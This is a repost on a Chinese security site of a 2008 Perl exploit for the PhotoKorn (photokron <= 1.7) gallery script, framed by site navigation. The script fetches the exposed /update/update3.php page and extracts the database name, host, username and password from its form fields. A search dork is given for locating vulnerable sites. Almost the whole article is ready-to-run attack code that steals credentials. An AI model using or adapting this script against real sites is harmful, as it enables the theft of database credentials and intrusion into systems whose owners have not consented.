首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
photokron <= 1.7 (update script) Remote Database Disclosure Exploit
来源:Gr33tz-Team 作者:Pr0metheuS 发布时间:2008-01-14  
#!/usr/bin/perl
#Script : PhotoKron All Version
#All Version
#Author : Pr0metheuS
#Gr33tz to Gr33tz-Team
#Gr33tz-Team.ORG
#Dork : "Powered by photokorn"
### INFO ##
# Works IF /update/ is on server...60% site are vulnerable....
## INFO ##
use LWP::UserAgent;
if (@ARGV!=2) {
print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
    print "PhotoKorn Remote Database Info\n";
    print "by Pr0metheuS\n";
    print "perl $0 <site> <path>\n";
print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
}
(my $site,my $path)=@ARGV;
my $ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => "".$site."".$path."/update/update3.php");
$req->header('Accept' => 'text/html');
my $res = $ua->request($req);
my $con = $res->content;
if ($res->is_success) {
print "-=-=-=-=-=-=-=-=-=-=-=--=\n";
    print "PhotoKorn Remote Database Info\n";
    print "by Pr0metheuS\n\n";
   
if($con =~ /<input type="text" value="(.*)" name="dbname">/){
$dbname = $1;
print "[+] DBNAME : $dbname\n";
}
if($con =~ /<input type="text" value="(.*)" name="dbhost">/){
$dbhost = $1;
print "[+] DBHOST : $dbhost\n";
}
if($con =~ /<input type="text" value="(.*)" name="dbusername"><\/td>/){
$dbuser = $1;
print "[+] DBUSER : $dbuser\n";
}
if($con =~ /<input type="password" value="(.*)" name="dbpassword"><\/td>/){
$dbpass = $1;
print "[+] DBPASSWORD : $dbpass\n";
}
print "-=-=-=-=-=-=-=-=-=-=-=--=\n";



}
else{
print "[+] Exploit Failed...\n";
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·0DayDB 2.3 (delete id) Remote
·NUVICO DVR NVDV4 / PdvrAtl Mod
·Evilsentinel <= 1.0.9 (multipl
·Agares PhpAutoVideo 2.21 (arti
·SunOS 5.10 Remote ICMP Kernel
·Quicktime Player <= 7.3.1.70 H
·Microsoft Message Queue POC ex
·X7 Chat <= 2.0.5 (day) Remote
·Docebo <= 3.5.0.3 (lib.regset.
·Xforum 1.4 (topic) Remote SQL
·McAfee E-Business Server Remot
·Macrovision FlexNet DownloadMa
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved